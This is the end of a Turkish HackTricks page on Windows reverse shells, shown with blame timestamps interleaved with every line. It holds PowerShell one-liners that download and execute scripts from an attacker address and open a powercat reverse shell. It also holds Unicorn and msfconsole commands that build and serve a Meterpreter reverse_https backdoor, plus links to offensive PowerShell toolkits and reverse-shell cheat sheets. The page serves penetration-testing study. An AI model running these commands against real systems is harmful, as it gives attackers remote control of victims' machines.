powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
2024-03-09 13:37:15 +00:00
**Tespit edilen zararlı kod**
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
### MSF-Unicorn
2020-07-15 15:43:14 +00:00
[https://github.com/trustedsec/unicorn ](https://github.com/trustedsec/unicorn )
2024-03-09 13:37:15 +00:00
Unicorn kullanarak metasploit arka kapı sı nı n bir PowerShell versiyonunu oluşturun
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
2024-02-10 18:14:16 +00:00
Oluşturulan kaynakla msfconsole'ı başlatı n:
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
msfconsole -r unicorn.rc
```
2024-03-09 13:37:15 +00:00
Başlangı çta _powershell\_attack.txt_ dosyası nı sunan bir web sunucusu başlatı n ve kurban üzerinde şunu çalı ştı rı n:
2022-10-27 23:22:18 +00:00
```
2020-07-15 15:43:14 +00:00
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
2024-03-09 13:37:15 +00:00
**Tespit edilen zararlı kod**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Daha Fazla
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
[PS>Attack ](https://github.com/jaredhaight/PSAttack ) Bazı saldı rgan PS modülleri önceden yüklenmiş PS konsolu (şifreli)\
2022-10-27 23:22:18 +00:00
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 ](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c )[\
2024-02-10 18:14:16 +00:00
WinPWN](https://github.com/SecureThisShit/WinPwn) Bazı saldı rgan PS modülleri ve proxy tespiti ile PS konsolu (IEX)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [https://gist.github.com/Arno0x ](https://gist.github.com/Arno0x )
* [https://github.com/GreatSCT/GreatSCT ](https://github.com/GreatSCT/GreatSCT )
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ ](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ )
* [https://www.hackingarticles.in/koadic-com-command-control-framework/ ](https://www.hackingarticles.in/koadic-com-command-control-framework/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
2024-02-07 04:06:18 +00:00
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:37:15 +00:00
< summary > < strong > Sı fı rdan kahraman olmak için AWS hackleme öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-09 13:37:15 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:23 +00:00
2024-03-09 13:37:15 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini alı n** ](https://peass.creator-spring.com )
* [**The PEASS Family'yi keşfedin** ](https://opensea.io/collection/the-peass-family ), özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )'da takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >